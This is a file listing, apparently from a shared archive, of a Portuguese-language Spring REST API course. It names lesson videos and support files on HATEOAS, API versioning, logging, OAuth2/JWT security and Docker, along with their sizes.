    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.24. Desafio adicionando hypermedia nos recursos de restaurantes.mp4 25.32 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.24. Desafio adicionando hypermedia nos recursos de restaurantes.txt 12.01 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.25. Desafio adicionando links condicionais no recurso de restaurante.mp4 4.72 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.25. Desafio adicionando links condicionais no recurso de restaurante.txt 2.45 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.26. Desafio adicionando template variable de projeção de restaurantes.mp4 1.95 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.26. Desafio adicionando template variable de projeção de restaurantes.txt 1.73 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.27. Desafio adicionando hypermedia nos recursos de formas de pagamento.mp4 6.85 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.27. Desafio adicionando hypermedia nos recursos de formas de pagamento.txt 3.59 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.30. Desafio adicionando links de associação de restaurantes com responsáveis.mp4 5.06 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.30. Desafio adicionando links de associação de restaurantes com responsáveis.txt 2.54 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.31. Desafio adicionando hypermedia nos recursos de produtos.mp4 9.64 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.31. Desafio adicionando hypermedia nos recursos de produtos.txt 5.18 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.32. Desafio adicionando links para recurso de foto de produto.mp4 4.77 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.32. Desafio adicionando links para recurso de foto de produto.txt 2.48 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.33. Desafio adicionando hypermedia nos recursos de grupos.mp4 5.28 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.33. Desafio adicionando hypermedia nos recursos de grupos.txt 3.17 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.34. Desafio adicionando links de associação de grupos com permissões.mp4 13.43 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.34. Desafio adicionando links de associação de grupos com permissões.txt 6.8 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.35. Desafio adicionando links de associação de usuários com grupos.mp4 6.14 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.35. Desafio adicionando links de associação de usuários com grupos.txt 3.35 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.37. Desafio implementando endpoint com links de recursos de estatísticas.mp4 3.44 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.37. Desafio implementando endpoint com links de recursos de estatísticas.txt 2.03 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.42. Desafio corrigindo a documentação dos endpoints de estados.png 169.34 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.42. Desafio corrigindo a documentação dos endpoints de estados.txt 909 B
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.43. Desafio corrigindo a documentação dos endpoints de formas de pagamento.mp4 1.81 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.43. Desafio corrigindo a documentação dos endpoints de formas de pagamento.txt 1.32 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.44. Desafio corrigindo a documentação dos endpoints de grupos.mp4 2.29 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.44. Desafio corrigindo a documentação dos endpoints de grupos.txt 1.42 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.45. Desafio corrigindo a documentação dos endpoint de pedidos paginação.mp4 1.49 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.45. Desafio corrigindo a documentação dos endpoint de pedidos paginação.txt 1.11 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.46. Desafio corrigindo a documentação dos endpoints de produtos.png 144.08 KB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.46. Desafio corrigindo a documentação dos endpoints de produtos.txt 841 B
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.47. Desafio corrigindo a documentação dos endpoints de restaurantes e usuários.mp4 3.19 MB
    19 Discoverability e HATEOAS A Glória do REST/Conteudo de apoio/19.47. Desafio corrigindo a documentação dos endpoints de restaurantes e usuários.txt 1.77 KB
    20 Evoluindo e versionando a API/ESR - 20.01 - Evoluindo a API com gestão de mudanças.mp4 2.58 MB
    20 Evoluindo e versionando a API/ESR - 20.02 - Evitando quebrar os clientes - nova propriedade no modelo.mp4 14.33 MB
    20 Evoluindo e versionando a API/ESR - 20.03 - Evitando quebrar os clientes exclusão de propriedade do modelo.mp4 9.29 MB
    20 Evoluindo e versionando a API/ESR - 20.04 - Evitando quebrar os clientes - alteração de tipo de propriedade do modelo.mp4 27.73 MB
    20 Evoluindo e versionando a API/ESR - 20.05 - Evitando quebrar os clientes - alteração na estrutura de dados do modelo.mp4 14.95 MB
    20 Evoluindo e versionando a API/ESR - 20.06 - Evitando quebrar os clientes - alteração de URL de recurso.mp4 33.08 MB
    20 Evoluindo e versionando a API/ESR - 20.07 - O que é e quando versionar uma API.mp4 5.94 MB
    20 Evoluindo e versionando a API/ESR - 20.08 - As principais técnicas de versionamento de APIs.mp4 5.19 MB
    20 Evoluindo e versionando a API/ESR - 20.09 - As principais abordagens para manter a base de código de APIs versionadas.mp4 23.12 MB
    20 Evoluindo e versionando a API/ESR - 20.10 - Preparando o projeto para versionamento da API por Media Type.mp4 75.39 MB
    20 Evoluindo e versionando a API/ESR - 20.11 - Implementando o versionamento da API por Media Type.mp4 143.22 MB
    20 Evoluindo e versionando a API/ESR - 20.12 - Definindo a versão padrão da API quando o Media Type não é informado.mp4 18.39 MB
    20 Evoluindo e versionando a API/ESR - 20.13 - Implementando o versionamento da API por URI.mp4 61 MB
    20 Evoluindo e versionando a API/ESR - 20.14 - Desafio - Refatorando controladores para adicionar v1 nas URIs.mp4 6.86 MB
    20 Evoluindo e versionando a API/ESR - 20.15 - Desafio - adicionando os recursos de cozinhas na v2 da API.mp4 6.21 MB
    20 Evoluindo e versionando a API/ESR - 20.16 - Gerando documentação das versões da API com SpringFox e Swagger UI.mp4 72.62 MB
    20 Evoluindo e versionando a API/ESR - 20.17 - Desafio - revisando documentação da v2 da API.mp4 11.15 MB
    20 Evoluindo e versionando a API/ESR - 20.18 - Depreciando uma versão da API.mp4 84.93 MB
    20 Evoluindo e versionando a API/ESR - 20.19 - Desligando uma versão da API.mp4 14.23 MB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.10. Preparando o projeto para versionamento da API por Media Type HalCustomMediaTypeEnabler.rar 675 B
    20 Evoluindo e versionando a API/Conteudo de apoio/20.10. Preparando o projeto para versionamento da API por Media Type.mp4 6.66 MB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.10. Preparando o projeto para versionamento da API por Media Type.txt 5.69 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.11. Implementando o versionamento da API por Media Type.mp4 10.5 MB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.11. Implementando o versionamento da API por Media Type.txt 4.93 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.14. Desafio Refatorando controladores para adicionar v1 nas URIs.png 192.56 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.14. Desafio Refatorando controladores para adicionar v1 nas URIs.txt 1.14 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.15. Desafio adicionando os recursos de cozinhas na v2 da API.mp4 7.43 MB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.15. Desafio adicionando os recursos de cozinhas na v2 da API.txt 4.54 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.16. Gerando documentação das versões da API com SpringFox e Swagger UI.mp4 2.73 MB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.16. Gerando documentação das versões da API com SpringFox e Swagger UI.txt 1.53 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.17. Desafio revisando documentação da v2 da API.mp4 12.88 MB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.17. Desafio revisando documentação da v2 da API.txt 6.16 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.18. Depreciando uma versão da API.mp4 2.08 MB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.18. Depreciando uma versão da API.txt 1.1 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.19. Desligando uma versão da API.png 167.13 KB
    20 Evoluindo e versionando a API/Conteudo de apoio/20.19. Desligando uma versão da API.txt 1.06 KB
    21 Logging/ESR - 21.01 - Introdução ao Logback e SLF4J.mp4 57.94 MB
    21 Logging/ESR - 21.02 - Desafio - registrando logs de exceptions não tratadas.mp4 10.17 MB
    21 Logging/ESR - 21.03 - Criando uma conta no Loggly - serviço de gerenciamento de logs na nuvem.mp4 40.22 MB
    21 Logging/ESR - 21.04 - Configurando o appender do Loggly no Logback.mp4 135.1 MB
    21 Logging/ESR - 21.05 - Configurando o Logback para alternar as configurações por Spring Profiles.mp4 16.46 MB
    21 Logging/Conteudo de apoio/21.2. Desafio registrando logs de exceptions não tratadas.png 70.2 KB
    21 Logging/Conteudo de apoio/21.2. Desafio registrando logs de exceptions não tratadas.txt 576 B
    21 Logging/Conteudo de apoio/21.4. Configurando o appender do Loggly no Logback.mp4 1.76 MB
    21 Logging/Conteudo de apoio/21.4. Configurando o appender do Loggly no Logback.txt 691 B
    22 Segurança com Spring Security e OAuth2/ESR - 22.01 - Introdução à segurança de REST APIs.mp4 8.31 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.02 - Adicionando segurança na API com Spring Security.mp4 68.57 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.03 - Configurando Spring Security com HTTP Basic.mp4 64.86 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.04 - Configurando autenticação de usuários em memória.mp4 47.01 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.05 - Introdução ao OAuth2.mp4 18.71 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.06 - Soluções para OAuth2 - nova stack do Spring Security vs Spring Security OAuth.mp4 33.2 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.07 - Conhecendo o fluxo Resource Owner Password Credentials.mp4 31.56 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.08 - Criando o projeto do Authorization Server com Spring Security OAuth2.mp4 70.8 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.09 - Configurando o fluxo Authorization Server com Password Credentials e Opaque Tokens.mp4 105.15 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.10 - Configurando o endpoint de introspecção de tokens no Authorization Server.mp4 50.23 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.11 - Configurando o Resource Server com a nova stack do Spring Security.mp4 89.91 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.12 - Conhecendo o fluxo para emitir e usar Refresh Tokens.mp4 14.02 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.13 - Configurando o Refresh Token Grant Type no Authorization Server.mp4 48.01 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.14 - Configurando a validade e não reutilização de Refresh Tokens.mp4 47.82 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.15 - Conhecendo o fluxo Client Credentials.mp4 6.24 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.16 - Configurando o Client Credentials Grant Type no Authorization Server.mp4 46.98 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.17 - Revisando o fluxo Authorization Code.mp4 31.73 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.18 - Configurando o Authorization Code Grant Type.mp4 58.21 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.19 - Testando o fluxo Authorization Code com um client JavaScript.mp4 79.28 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.20 - Conhecendo o fluxo Implicit.mp4 7.88 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.21 - Configurando o fluxo Implicit Grant Type.mp4 23.15 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.22 - Mais segurança com PKCE e Authorization Code Grant.mp4 66.76 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.23 - Implementando o suporte a PKCE com o fluxo Authorization Code.mp4 33.5 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.24 - Testando o fluxo Authorization Code com PKCE com o método plain.mp4 60.96 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.25 - Testando o fluxo Authorization Code com PKCE com o método SHA-256.mp4 28.56 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.26 - Testando um client JavaScript com PKCE e Authorization Code.mp4 28.29 MB
    22 Segurança com Spring Security e OAuth2/ESR - 22.27 - Decidindo qual fluxo OAuth2 usar.mp4 8.67 MB
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.5. Introdução ao OAuth2.txt 89 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.6. Soluções para OAuth2 nova stack do Spring Security vs Spring Security OAuth.txt 329 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.8. Criando o projeto do Authorization Server com Spring Security OAuth2.rar 450 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.8. Criando o projeto do Authorization Server com Spring Security OAuth2.txt 165 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.10. Configurando o endpoint de introspecção de tokens no Authorization Server text.txt 36.9 KB
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.10. Configurando o endpoint de introspecção de tokens no Authorization Server.txt 101 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.19. Testando o fluxo Authorization Code com um client JavaScript.rar 552 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.19. Testando o fluxo Authorization Code com um client JavaScript.txt 152 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.22. Mais segurança com PKCE e Authorization Code Grant Text.txt 39.9 KB
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.22. Mais segurança com PKCE e Authorization Code Grant.txt 78 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.23. Implementando o suporte a PKCE com o fluxo Authorization Code.rar 1.45 KB
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.23. Implementando o suporte a PKCE com o fluxo Authorization Code.txt 142 B
    22 Segurança com Spring Security e OAuth2/Conteudo de apoio/22.25. Testando o fluxo Authorization Code com PKCE com o método SHA-256.txt 135 B
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.01 - Armazenando tokens no Redis um banco de dados NoSQL.mp4 12.62 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.02 - Configurando o RedisTokenStore.mp4 47.92 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.03 - Entendendo a diferença entre Stateful e Stateless Authentication.mp4 56.69 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.04 - Transparent Tokens - conhecendo o JSON Web Tokens (JWT).mp4 54.22 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.05 - Gerando JWT com chave simétrica (HMAC SHA-256) no Authorization Server.mp4 58.34 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.06 - Configurando o Resource Server para JWT assinado com chave simétrica.mp4 90.73 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.07 - Entendendo a diferença entre assinatura com chave simétrica e assimétrica.mp4 4.3 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.08 - Gerando um par de chaves com keytool.mp4 9.6 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.09 - Assinando o JWT com RSA SHA-256 (chave assimétrica).mp4 53.63 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.10 - Desafio - criando bean de propriedades de configuração do KeyStore.mp4 10.2 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.11 - Extraindo a chave pública no formato PEM.mp4 50.53 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.12 - Configurando a validação de JWT no Resource Server com a chave pública.mp4 12.31 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.13 - Revisando o fluxo de aprovação do Authorization Code com JWT.mp4 29.76 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.14 - Autenticando usuário com dados do banco de dados.mp4 122.57 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.15 - Desafio - refatorando serviços de usuários para usar BCrypt.mp4 22.38 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.16 - Adicionando claims customizadas no payload do JWT.mp4 85.47 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.17 - Obtendo usuário autenticado no Resource Server.mp4 44.08 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.18 - Definindo e criando as permissões de acesso.mp4 58.2 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.19 - Carregando as permissões concedidas na autenticação.mp4 93.81 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.20 - Carregando as Granted Authorities e restringindo acesso a endpoints na API.mp4 83.53 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.21 - Method Security Restringindo acesso com @PreAuthorize e SpEL.mp4 36.34 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.22 - Desafio - tratando AccessDeniedException no ExceptionHandler.mp4 7.71 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.23 - Simplificando o controle de acesso em métodos com meta-anotações.mp4 31.34 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.24 - Entendendo os escopos do OAuth2.mp4 64.55 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.25 - Carregando Granted Authorities dos escopos do OAuth2 no Resource Server.mp4 77.09 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.26 - Restringindo acesso a endpoints por escopos do OAuth2.mp4 39.24 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.27 - Desafio - restringindo acesso dos endpoints de restaurantes.mp4 28.98 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.28 - Restringindo acessos de forma contextual (sensível à informação).mp4 144.16 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.29 - Restringindo acessos com @PostAuthorize v2.mp4.mp4 107.71 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.30 - Desafio - restringindo acessos ao endpoint de pesquisa de pedidos.mp4 38.97 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.31 - Desafio - restringindo acessos aos endpoints de transição de status de pedidos.mp4 26.87 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.32 - Desafio - restringindo acessos aos endpoints de formas de pagamentos.mp4 9.36 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.33 - Desafio - restringindo acessos aos endpoints de cidades e estados.mp4 10.01 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.34 - Desafio - restringindo acessos aos endpoints de usuários, grupos e permissões.mp4 42.57 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.35 - Desafio - restringindo acessos aos endpoints de estatísticas.mp4 5.82 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.36 - Configurando os clientes OAuth2 em um banco de dados SQL.mp4 42.04 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.37 - Cadastrando clientes OAuth2 no banco de dados e testando a emissão de tokens.mp4 100.52 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.38 - Corrigindo lógica de restrição de acessos para Client Credentials Flow.mp4 52.98 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.39 - Gerando links do HAL dinamicamente de acordo com permissões do usuário.mp4 86.37 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.40 - Desafio - gerando links do HAL dinamicamente de acordo com permissões.mp4 7.52 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.41 - Juntando o Resource Server com o Authorization Server no mesmo projeto.mp4 125.98 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.42 - Ajustando a documentação da API para suporte a OAuth2.mp4 112.44 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.43 - Customizando a página de login.mp4 46.71 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.44 - Customizando a página de OAuth2 Approval.mp4 88.28 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.45. Implementando o endpoint do JSON Web Key Set (JWKS).mp4.mp4 97.7 MB
    23 OAuth2 avançado com JWT e controle de acesso/ESR - 23.46. Externalizando o KeyStore - criando um ProtocolResolver para Base64.mp4.mp4 98.63 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.1. Armazenando tokens no Redis um banco de dados NoSQL.mp4 4.48 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.1. Armazenando tokens no Redis um banco de dados NoSQL.txt 3.28 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.4. Transparent Tokens conhecendo o JSON Web Tokens (JWT).txt 150 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.8. Gerando um par de chaves com keytool.txt 263 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.10. Desafio criando bean de propriedades de configuração do KeyStore.mp4 3.75 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.10. Desafio criando bean de propriedades de configuração do KeyStore.txt 2.15 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.11. Extraindo a chave pública no formato PEM.txt 224 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.15. Desafio refatorando serviços de usuários para usar BCrypt.mp4 1.95 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.15. Desafio refatorando serviços de usuários para usar BCrypt.txt 1.41 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.22. Desafio tratando AccessDeniedException no ExceptionHandler.png 142.8 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.22. Desafio tratando AccessDeniedException no ExceptionHandler.txt 982 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.27. Desafio restringindo acesso dos endpoints de restaurantes.mp4 2.78 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.27. Desafio restringindo acesso dos endpoints de restaurantes.txt 1.89 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.30. Desafio restringindo acessos ao endpoint de pesquisa de pedidos.png 139.9 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.30. Desafio restringindo acessos ao endpoint de pesquisa de pedidos.txt 909 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.31. Desafio restringindo acessos aos endpoints de transição de status de pedidos.mp4 3.6 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.31. Desafio restringindo acessos aos endpoints de transição de status de pedidos.txt 1.83 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.32. Desafio restringindo acessos aos endpoints de formas de pagamentos.png 134.44 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.32. Desafio restringindo acessos aos endpoints de formas de pagamentos.txt 844 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.33. Desafio restringindo acessos aos endpoints de cidades e estados.mp4 2.35 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.33. Desafio restringindo acessos aos endpoints de cidades e estados.txt 1.45 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.34. Desafio restringindo acessos aos endpoints de usuários, grupos e permissões.mp4 5.16 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.34. Desafio restringindo acessos aos endpoints de usuários, grupos e permissões.txt 2.63 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.35. Desafio restringindo acessos aos endpoints de estatísticas.png 77.25 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.35. Desafio restringindo acessos aos endpoints de estatísticas.txt 628 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.36. Configurando os clientes OAuth2 em um banco de dados SQL.png 14.24 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.36. Configurando os clientes OAuth2 em um banco de dados SQL.rar 364 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.36. Configurando os clientes OAuth2 em um banco de dados SQL.txt 123 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.40. Desafio gerando links do HAL dinamicamente de acordo com permissões.mp4 65.2 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.40. Desafio gerando links do HAL dinamicamente de acordo com permissões.txt 27.77 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.42. Ajustando a documentação da API para suporte a OAuth2.mp4 2.89 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.42. Ajustando a documentação da API para suporte a OAuth2.txt 2.09 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.43. Customizando a página de login.html 1.68 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.43. Customizando a página de login.rar 919 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.43. Customizando a página de login.txt 480 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.45. Implementando o endpoint do JSON Web Key Set (JWKS) text link.txt 92.8 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.45. Implementando o endpoint do JSON Web Key Set (JWKS).txt 90 B
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.46. Externalizando o KeyStore criando um ProtocolResolver para Base64.mp4 5.44 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.46. Externalizando o KeyStore criando um ProtocolResolver para Base64.txt 3.14 KB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.43. Customizando a página de login - Minicurso de HTML5 e CSS3/[Aula 1] Aprendendo HTML.mp4 209.26 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.43. Customizando a página de login - Minicurso de HTML5 e CSS3/[Aula 2] Criando uma página em HTML5.mp4 114.47 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.43. Customizando a página de login - Minicurso de HTML5 e CSS3/[Aula 3] Estilizando páginas com CSS3.mp4 178.5 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/23.43. Customizando a página de login - Minicurso de HTML5 e CSS3/[Aula 4] Web Design Responsivo.mp4 224.71 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/Redis 3.0.504/3.0.504/redis-win-3.0.504.tar.gz 1.84 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/Redis 3.0.504/3.0.504/redis-win-3.0.504.zip 2.26 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/Redis 3.0.504/3.0.504/Redis-x64-3.0.504.msi 6.42 MB
    23 OAuth2 avançado com JWT e controle de acesso/Conteudo de apoio/Redis 3.0.504/3.0.504/Redis-x64-3.0.504.zip 5.6 MB
    24 Dockerizando a aplicação/ESR - 24.01. Conhecendo o Docker.mp4.mp4 67.94 MB
    24 Dockerizando a aplicação/ESR - 24.02. Instalando o Docker.mp4.mp4 88.18 MB
    24 Dockerizando a aplicação/ESR - 24.03. Executando um container.mp4.mp4 16.12 MB
    24 Dockerizando a aplicação/ESR - 24.04. Gerenciando melhor os containers.mp4.mp4 54.9 MB
    24 Dockerizando a aplicação/ESR - 24.05. Conhecendo a arquitetura do Docker.mp4 9.53 MB
    24 Dockerizando a aplicação/ESR - 24.06. Entendendo o que são as imagens e o Docker Hub.mp4.mp4 41.81 MB
    24 Dockerizando a aplicação/ESR - 24.07. Gerenciando imagens.mp4 15.83 MB
    24 Dockerizando a aplicação/ESR - 24.08. Executando um container do MySQL.mp4.mp4 33.37 MB
    24 Dockerizando a aplicação/ESR - 24.09. Construindo a imagem da aplicação com Dockerfile.mp4.mp4 56.06 MB
    24 Dockerizando a aplicação/ESR - 24.10. Criando uma network e conectando dois containers.mp4.mp4 53.11 MB
    24 Dockerizando a aplicação/ESR - 24.11. Construindo a imagem Docker pelo Maven.mp4 29.32 MB
    24 Dockerizando a aplicação/ESR - 24.12. Disponibilizando a imagem da aplicação no Docker Hub.mp4.mp4 33.34 MB
    24 Dockerizando a aplicação/ESR - 24.13. Conhecendo e usando Docker Compose.mp4.mp4 112.36 MB
    24 Dockerizando a aplicação/ESR - 24.14. Controlando a ordem de inicialização com wait-for-it.sh.mp4.mp4 61.14 MB
    24 Dockerizando a aplicação/ESR - 24.15. Escalando um serviço com Docker Compose.mp4.mp4 62.03 MB
